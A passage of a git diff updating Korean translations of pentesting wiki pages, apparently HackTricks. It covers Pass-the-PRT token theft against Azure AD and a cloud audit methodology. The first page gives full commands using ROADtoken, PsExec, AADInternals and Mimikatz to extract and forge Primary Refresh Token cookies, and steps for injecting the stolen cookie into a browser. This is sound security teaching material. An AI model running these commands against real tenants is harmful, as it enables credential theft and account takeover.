PRT 키와 상호작용**할 수 있습니다. ## Pass-the-PRT 공격 예시 ### 공격 - ROADtoken -이 방법에 대한 자세한 정보는 [**이 게시물**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)을 확인하세요. ROADtoken은 올바른 디렉토리에서 **`BrowserCore.exe`**를 실행하고 이를 사용하여 **PRT 쿠키를 얻습니다**. 이 쿠키는 ROADtools와 함께 사용되어 인증하고 **지속적인 새로 고침 토큰을 얻는 데 사용될 수 있습니다.** +이 방법에 대한 자세한 정보는 [**이 게시물**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)을 확인하세요. ROADtoken은 올바른 디렉토리에서 **`BrowserCore.exe`**를 실행하고 이를 사용하여 **PRT 쿠키를 얻습니다**. 이 쿠키는 ROADtools와 함께 사용되어 인증하고 **지속적인 새로 고침 토큰을 얻는 데** 사용될 수 있습니다. 유효한 PRT 쿠키를 생성하기 위해 필요한 첫 번째 것은 논스입니다.\ 다음과 같이 얻을 수 있습니다: @@ -76,15 +76,15 @@ $Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body $Result.Nonce AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA ``` -또는 [**roadrecon**](https://github.com/dirkjanm/ROADtools)를 사용하여: +[**roadrecon**](https://github.com/dirkjanm/ROADtools)를 사용하거나: ```powershell roadrecon auth prt-init ``` -그런 다음 [**roadtoken**](https://github.com/dirkjanm/ROADtoken)을 사용하여 새로운 PRT를 얻을 수 있습니다(공격할 사용자의 프로세스에서 도구를 실행): +그런 다음 [**roadtoken**](https://github.com/dirkjanm/ROADtoken)를 사용하여 새로운 PRT를 얻을 수 있습니다(공격할 사용자의 프로세스에서 도구를 실행): ```powershell .\ROADtoken.exe ``` -As oneliner: +한 줄로: ```powershell Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` @@ -100,7 +100,7 @@ Connect-AzureAD --AadAccessToken --AccountId ### Attack - Using AADInternals and a leaked PRT -`Get-AADIntUserPRTToken` **사용자의 PRT 토큰을** Azure AD에 가입된 또는 하이브리드 가입된 컴퓨터에서 가져옵니다. PRT 토큰을 가져오기 위해 `BrowserCore.exe`를 사용합니다. +`Get-AADIntUserPRTToken` **사용자의 PRT 토큰을** Azure AD에 가입된 또는 하이브리드 가입된 컴퓨터에서 가져옵니다. `BrowserCore.exe`를 사용하여 PRT 토큰을 가져옵니다. ```powershell # Get the PRToken $prtToken = Get-AADIntUserPRTToken @@ -108,7 +108,7 @@ $prtToken = Get-AADIntUserPRTToken # Get an access token for AAD Graph API and save to cache Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` -또는 Mimikatz에서 값을 가져온 경우 AADInternals를 사용하여 토큰을 생성할 수도 있습니다: +Mimikatz에서 값을 가져온 경우 AADInternals를 사용하여 토큰을 생성할 수도 있습니다: ```powershell # Mimikat "PRT" value $MimikatzPRT="MC5BWU..." @@ -136,7 +136,7 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken # Verify access and connect with Az. You can see account id in mimikatz prt output Connect-AzAccount -AccessToken $AT -TenantID -AccountId ``` -[https://login.microsoftonline.com](https://login.microsoftonline.com)로 이동하여 login.microsoftonline.com의 모든 쿠키를 지우고 새 쿠키를 입력합니다. +[https://login.microsoftonline.com](https://login.microsoftonline.com)에 가서 login.microsoftonline.com의 모든 쿠키를 지우고 새 쿠키를 입력합니다. ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] @@ -146,24 +146,24 @@ HttpOnly: Set to True (checked) 그런 다음 [https://portal.azure.com](https://portal.azure.com)으로 이동합니다. > [!CAUTION] -> 나머지는 기본값이어야 합니다. 페이지를 새로 고칠 수 있고 쿠키가 사라지지 않는지 확인하십시오. 만약 사라진다면 실수를 한 것이며 다시 과정을 거쳐야 할 수 있습니다. 사라지지 않는다면 괜찮을 것입니다. +> 나머지는 기본값이어야 합니다. 페이지를 새로 고칠 수 있고 쿠키가 사라지지 않는지 확인하세요. 만약 사라진다면 실수를 한 것이며 다시 과정을 거쳐야 합니다. 사라지지 않는다면 괜찮습니다. ### 공격 - Mimikatz #### 단계 1. **PRT (Primary Refresh Token)가 LSASS** (Local Security Authority Subsystem Service)에서 추출되어 이후 사용을 위해 저장됩니다. -2. **세션 키가 다음으로 추출됩니다**. 이 키는 처음에 발급된 후 로컬 장치에 의해 다시 암호화되므로, DPAPI 마스터 키를 사용하여 복호화해야 합니다. DPAPI (Data Protection API)에 대한 자세한 정보는 다음 리소스에서 확인할 수 있습니다: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) 및 그 응용 프로그램에 대한 이해는 [Pass-the-cookie attack](az-pass-the-cookie.md)를 참조하십시오. -3. 세션 키의 복호화 후, **PRT에 대한 파생 키와 컨텍스트가 얻어집니다**. 이는 **PRT 쿠키 생성에 중요합니다**. 특히, 파생 키는 쿠키를 구성하는 JWT (JSON Web Token)에 서명하는 데 사용됩니다. 이 과정에 대한 포괄적인 설명은 Dirk-jan이 제공하였으며, [여기](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)에서 확인할 수 있습니다. +2. **세션 키가 다음으로 추출됩니다**. 이 키는 처음에 발급된 후 로컬 장치에 의해 다시 암호화되므로, DPAPI 마스터 키를 사용하여 복호화해야 합니다. DPAPI (Data Protection API)에 대한 자세한 정보는 다음 리소스에서 확인할 수 있습니다: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) 및 그 응용에 대한 이해는 [Pass-the-cookie attack](az-pass-the-cookie.md)를 참조하세요. +3. 세션 키의 복호화 후, **PRT에 대한 파생 키와 컨텍스트가 얻어집니다**. 이는 **PRT 쿠키 생성에 필수적입니다**. 특히, 파생 키는 쿠키를 구성하는 JWT (JSON Web Token)에 서명하는 데 사용됩니다. 이 과정에 대한 포괄적인 설명은 Dirk-jan이 제공하였으며, [여기](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)에서 확인할 수 있습니다. > [!CAUTION] > PRT가 TPM 내부에 있고 `lsass` 내부에 없다면 **mimikatz는 이를 추출할 수 없습니다**.\ -> 그러나 TPM에서 **컨텍스트의 파생 키로부터 키를 얻고 이를 사용하여 쿠키에 서명하는 것이 가능할 것입니다** (옵션 3 확인). +> 그러나 TPM에서 **컨텍스트의 파생 키로부터 키를 얻는 것이 가능하며** 이를 사용하여 **쿠키에 서명할 수 있습니다 (옵션 3 확인).** -이 세부 사항을 추출하는 데 수행된 과정에 대한 **심층 설명**은 여기에서 확인할 수 있습니다: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) +이 세부 사항을 추출하는 과정에 대한 **심층 설명**은 여기에서 확인할 수 있습니다: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) > [!WARNING] -> 2021년 8월 수정 이후 다른 사용자의 PRT 토큰을 얻는 것은 정확히 작동하지 않을 것입니다. 오직 사용자만 자신의 PRT를 얻을 수 있으며 (로컬 관리자는 다른 사용자의 PRT에 접근할 수 없음), 자신의 PRT에 접근할 수 있습니다. +> 2021년 8월 수정 이후 다른 사용자의 PRT 토큰을 얻는 것은 정확히 작동하지 않으며, 오직 사용자만 자신의 PRT를 얻을 수 있습니다 (로컬 관리자는 다른 사용자의 PRT에 접근할 수 없습니다), 하지만 자신의 PRT에는 접근할 수 있습니다. **mimikatz**를 사용하여 PRT를 추출할 수 있습니다: ```powershell @@ -179,15 +179,15 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
-**Prt**로 표시된 부분을 **복사**하고 저장합니다.\ -아래 강조 표시된 **`ProofOfPossesionKey`** 필드의 **`KeyValue`**인 세션 키도 추출합니다. 이것은 암호화되어 있으며, 이를 해독하기 위해 DPAPI 마스터 키를 사용해야 합니다. +**복사**하여 **Prt**로 표시된 부분을 저장합니다.\ +아래 강조 표시된 **`ProofOfPossesionKey`** 필드의 **`KeyValue`** 세션 키도 추출합니다. 이것은 암호화되어 있으며, 이를 해독하기 위해 DPAPI 마스터 키를 사용해야 합니다.
> [!NOTE] -> PRT 데이터가 보이지 않는 경우, **PRT가 없을 수 있습니다**. 이는 귀하의 장치가 Azure AD에 가입되지 않았거나 **오래된 버전**의 Windows 10을 실행하고 있을 수 있습니다. +> PRT 데이터가 보이지 않는 경우, **PRT가 없을 수 있습니다**. 이는 장치가 Azure AD에 가입되지 않았거나 **오래된 버전**의 Windows 10을 실행하고 있을 수 있습니다. -세션 키를 **해독**하려면 **SYSTEM** 권한으로 **승격**하여 컴퓨터 컨텍스트에서 실행해야 **DPAPI 마스터 키를 사용하여 해독**할 수 있습니다. 다음 명령어를 사용하여 이를 수행할 수 있습니다: +세션 키를 **해독**하려면 **SYSTEM** 권한으로 **승격**하여 컴퓨터 컨텍스트에서 실행해야 **DPAPI 마스터 키를 사용하여 해독할 수 있습니다**. 다음 명령어를 사용하여 그렇게 할 수 있습니다: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect @@ -210,7 +210,7 @@ Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT] ```
-- [https://login.microsoftonline.com](https://login.microsoftonline.com)로 이동하여 login.microsoftonline.com의 모든 쿠키를 지우고 새 쿠키를 입력합니다. +- [https://login.microsoftonline.com](https://login.microsoftonline.com)에 가서 login.microsoftonline.com의 모든 쿠키를 지우고 새로운 쿠키를 입력합니다. ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] @@ -220,7 +220,7 @@ HttpOnly: Set to True (checked) - 그런 다음 [https://portal.azure.com](https://portal.azure.com)으로 이동합니다. > [!CAUTION] -> 나머지는 기본값이어야 합니다. 페이지를 새로 고칠 수 있고 쿠키가 사라지지 않는지 확인하세요. 만약 사라진다면 실수를 했을 수 있으며 과정을 다시 진행해야 합니다. 사라지지 않는다면 괜찮습니다. +> 나머지는 기본값이어야 합니다. 페이지를 새로 고칠 수 있고 쿠키가 사라지지 않는지 확인하세요. 만약 사라진다면 실수를 한 것이며 과정을 다시 진행해야 합니다. 사라지지 않는다면 괜찮을 것입니다. #### Option 2 - roadrecon using PRT @@ -235,13 +235,13 @@ roadtx describe < .roadtools_auth ```
-#### Option 3 - roadrecon을 사용한 파생 키 +#### 옵션 3 - 파생 키를 사용한 roadrecon -mimikatz에 의해 덤프된 컨텍스트와 파생 키를 가지고, roadrecon을 사용하여 새로운 서명된 쿠키를 생성할 수 있습니다: +mimikatz에 의해 덤프된 컨텍스트와 파생 키가 있으면, roadrecon을 사용하여 새로 서명된 쿠키를 생성할 수 있습니다: ```bash roadrecon auth --prt-cookie --prt-context --derives-key ``` -## References +## 참조 - [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/) - [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 9f2404689..38b13470a 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -6,35 +6,35 @@ ## Basic Methodology -각 클라우드는 고유한 특성을 가지고 있지만 일반적으로 클라우드 환경을 테스트할 때 **펜테스터가 확인해야 할 몇 가지 공통 사항**이 있습니다: +각 클라우드는 고유한 특성을 가지고 있지만, 일반적으로 클라우드 환경을 테스트할 때 **펜테스터가 확인해야 할 몇 가지 공통 사항**이 있습니다: - **벤치마크 체크** -- 이는 **환경의 크기**와 **사용되는 서비스**를 **이해하는 데 도움**이 됩니다. -- 또한 **자동화 도구**를 사용하여 대부분의 테스트를 수행할 수 있으므로 **빠른 잘못된 구성**을 찾는 데도 도움이 됩니다. +- 이는 **환경의 크기**와 **사용되는 서비스**를 이해하는 데 도움이 됩니다. +- 대부분의 테스트를 **자동화 도구**로 수행할 수 있으므로 일부 **빠른 잘못된 구성**을 찾는 데도 도움이 됩니다. - **서비스 열거** -- 벤치마크 테스트를 올바르게 수행했다면 여기에서 더 많은 잘못된 구성을 찾지 못할 가능성이 높지만, 벤치마크 테스트에서 찾지 않았던 일부를 발견할 수 있습니다. +- 벤치마크 테스트를 올바르게 수행했다면 여기서 더 많은 잘못된 구성을 찾지 못할 가능성이 높지만, 벤치마크 테스트에서 찾지 못한 일부를 발견할 수 있습니다. - 이는 클라우드 환경에서 **정확히 무엇이 사용되고 있는지** 알 수 있게 해줍니다. - 이는 다음 단계에서 많은 도움이 됩니다. - **노출된 자산 확인** - 이는 이전 섹션에서 수행할 수 있으며, **인터넷에 잠재적으로 노출된 모든 것**과 어떻게 접근할 수 있는지를 **찾아야** 합니다. -- 여기서는 웹 페이지가 있는 인스턴스나 다른 포트가 노출된 **수동으로 노출된 인프라**와, 노출되도록 **구성할 수 있는 다른 클라우드 관리 서비스**(예: DB 또는 버킷)에 대해 다룹니다. +- 여기서는 웹 페이지가 있는 인스턴스나 다른 포트가 노출된 **수동으로 노출된 인프라**를 다루고 있으며, 또한 노출되도록 **구성할 수 있는 다른 클라우드 관리 서비스**(예: DB 또는 버킷)에 대해서도 다룹니다. - 그런 다음 **해당 리소스가 노출될 수 있는지 여부**를 확인해야 합니다(기밀 정보? 취약점? 노출된 서비스의 잘못된 구성?). - **권한 확인** - 여기서는 클라우드 내 각 역할/사용자의 **모든 권한을 찾아야** 하며, 그것들이 어떻게 사용되는지를 확인해야 합니다. -- 너무 **많은 고급 권한**(모든 것을 제어하는) 계정이 있습니까? 생성된 키가 사용되지 않습니까?... 이러한 대부분의 체크는 이미 벤치마크 테스트에서 수행되었어야 합니다. +- 너무 **많은 고급 권한**(모든 것을 제어하는) 계정이 있습니까? 사용되지 않는 생성된 키?... 이러한 대부분의 체크는 이미 벤치마크 테스트에서 수행되었어야 합니다. - 클라이언트가 OpenID 또는 SAML 또는 다른 **연합**을 사용하고 있다면, 각 역할이 **어떻게 할당되는지**에 대한 추가 **정보**를 요청해야 할 수 있습니다(관리자 역할이 1명에게 할당되는 것과 100명에게 할당되는 것은 다릅니다). -- **어떤 사용자가** **관리자** 권한 "\*:\*"을 가지고 있는지를 찾는 것만으로는 **불충분합니다**. 사용되는 서비스에 따라 매우 **민감할 수 있는** **다른 권한**이 많이 있습니다. +- **관리자** 권한 "\*:\*"을 가진 사용자를 찾는 것만으로는 **충분하지 않습니다**. 사용되는 서비스에 따라 매우 **민감할 수 있는** **다른 권한**이 많이 있습니다. - 게다가, 권한을 남용하여 따라갈 수 있는 **잠재적인 권한 상승** 방법이 있습니다. 이러한 모든 사항을 고려해야 하며, **가능한 한 많은 권한 상승 경로**를 보고해야 합니다. - **통합 확인** - 클라우드 환경 내에서 **다른 클라우드 또는 SaaS와의 통합**이 사용되고 있을 가능성이 높습니다. -- **감사 중인 클라우드의 통합**에 대해, **그 통합을 (남용할) 수 있는 접근 권한이 있는 사람**을 알려야 하며, 수행되는 작업이 **얼마나 민감한지**를 물어봐야 합니다.\ -예를 들어, GCP가 데이터를 가져오는 AWS 버킷에 쓸 수 있는 사람은 누구인지(그 데이터 처리에서 GCP의 작업이 얼마나 민감한지 물어보세요). -- **감사 중인 클라우드 내에서** 외부 플랫폼에서의 통합에 대해, **그 통합을 (남용할) 수 있는 외부 접근 권한이 있는 사람**을 물어보고 그 데이터가 어떻게 사용되고 있는지를 확인해야 합니다.\ -예를 들어, 서비스가 GCR에 호스팅된 Docker 이미지를 사용하고 있다면, 그 이미지를 수정할 수 있는 사람과 AWS 클라우드 내에서 실행될 때 그 이미지가 어떤 민감한 정보와 접근 권한을 가지는지를 물어봐야 합니다. +- **감사 중인 클라우드의 통합**과 다른 플랫폼 간의 통합에 대해 **누가 그 통합을 (남용할) 수 있는지** 알리고, 수행되는 작업이 **얼마나 민감한지**를 물어봐야 합니다.\ +예를 들어, GCP가 데이터를 가져오는 AWS 버킷에 누가 쓸 수 있는지(그 데이터 처리 시 GCP에서 그 작업이 얼마나 민감한지 물어보세요). +- **감사 중인 클라우드 내에서** 외부 플랫폼에서의 통합에 대해 **누가 외부에서 그 통합을 (남용할) 수 있는지** 물어보고, 그 데이터가 어떻게 사용되고 있는지 확인해야 합니다.\ +예를 들어, 서비스가 GCR에 호스팅된 Docker 이미지를 사용하는 경우, 누가 그것을 수정할 수 있는지, 그리고 그 이미지가 AWS 클라우드 내에서 실행될 때 어떤 민감한 정보와 접근 권한을 얻는지 물어봐야 합니다. ## Multi-Cloud tools -여러 클라우드 환경을 테스트하는 데 사용할 수 있는 여러 도구가 있습니다. 설치 단계와 링크는 이 섹션에서 안내될 것입니다. +다양한 클라우드 환경을 테스트하는 데 사용할 수 있는 여러 도구가 있습니다. 설치 단계와 링크는 이 섹션에서 안내될 것입니다. ### [PurplePanda](https://github.com/carlospolop/purplepanda) @@ -91,7 +91,7 @@ prowler --list-services AWS, Azure, Github, Google, Oracle, Alibaba {{#tabs }} -{{#tab name="설치" }} +{{#tab name="Install" }} ```bash # Install git clone https://github.com/aquasecurity/cloudsploit.git @@ -170,7 +170,7 @@ steampipe check all 모든 프로젝트 확인 -모든 프로젝트를 확인하기 위해서는 테스트할 모든 프로젝트를 나타내는 `gcp.spc` 파일을 생성해야 합니다. 다음 스크립트의 지침을 따르면 됩니다. +모든 프로젝트를 확인하려면 테스트할 모든 프로젝트를 나타내는 `gcp.spc` 파일을 생성해야 합니다. 다음 스크립트의 지침을 따르면 됩니다. ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -194,7 +194,7 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ```
-**기타 GCP 인사이트**(서비스 열거에 유용)를 확인하려면: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +다른 **GCP 인사이트**(서비스 열거에 유용함)를 확인하려면: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) Terraform GCP 코드를 확인하려면: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) @@ -238,7 +238,7 @@ python2.7이 필요하며 유지 관리가 되지 않는 것처럼 보입니다. ### Nessus -Nessus는 _**클라우드 인프라 감사**_ 스캔을 지원하며: AWS, Azure, Office 365, Rackspace, Salesforce. **Azure**에서 **Client Id**를 얻기 위해 추가 구성이 필요합니다. +Nessus는 _**클라우드 인프라 감사**_ 스캔을 지원하며: AWS, Azure, Office 365, Rackspace, Salesforce. **Client Id**를 얻기 위해 **Azure**에서 추가 구성이 필요합니다. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) @@ -255,7 +255,7 @@ sudo mv cloudlist /usr/local/bin ``` {{#endtab }} -{{#tab name="두 번째 탭" }} +{{#tab name="Second Tab" }} ```bash ## For GCP it requires service account JSON credentials cloudlist -config @@ -265,7 +265,7 @@ cloudlist -config ### [**cartography**](https://github.com/lyft/cartography) -Cartography는 Neo4j 데이터베이스로 구동되는 직관적인 그래프 뷰에서 인프라 자산과 그들 간의 관계를 통합하는 Python 도구입니다. +Cartography는 Neo4j 데이터베이스에 의해 구동되는 직관적인 그래프 뷰에서 인프라 자산과 그들 간의 관계를 통합하는 Python 도구입니다. {{#tabs }} {{#tab name="Install" }} @@ -376,15 +376,15 @@ Scan-AzureAdmins ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox는 클라우드 인프라에서 악용 가능한 공격 경로를 찾기 위한 도구입니다 (현재 AWS 및 Azure만 지원하며 GCP는 곧 지원 예정입니다). +- CloudFox는 클라우드 인프라에서 악용 가능한 공격 경로를 찾기 위한 도구입니다 (현재 AWS 및 Azure만 지원하며 GCP는 곧 지원 예정). - 수동 pentesting을 보완하기 위한 열거 도구입니다. - 클라우드 환경 내에서 데이터를 생성하거나 수정하지 않습니다. -### 클라우드 보안 도구 목록 +### 클라우드 보안 도구 목록 더보기 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) -## 구글 +## Google ### GCP @@ -410,7 +410,7 @@ aws-security/ azure-security/ {{#endref}} -### 공격 그래프 +### Attack Graph [**Stormspotter** ](https://github.com/Azure/Stormspotter)는 Azure 구독의 리소스에 대한 “공격 그래프”를 생성합니다. 이는 레드 팀과 pentester가 테넌트 내의 공격 표면과 피벗 기회를 시각화할 수 있게 하며, 방어자가 사건 대응 작업을 신속하게 정렬하고 우선순위를 정할 수 있도록 지원합니다.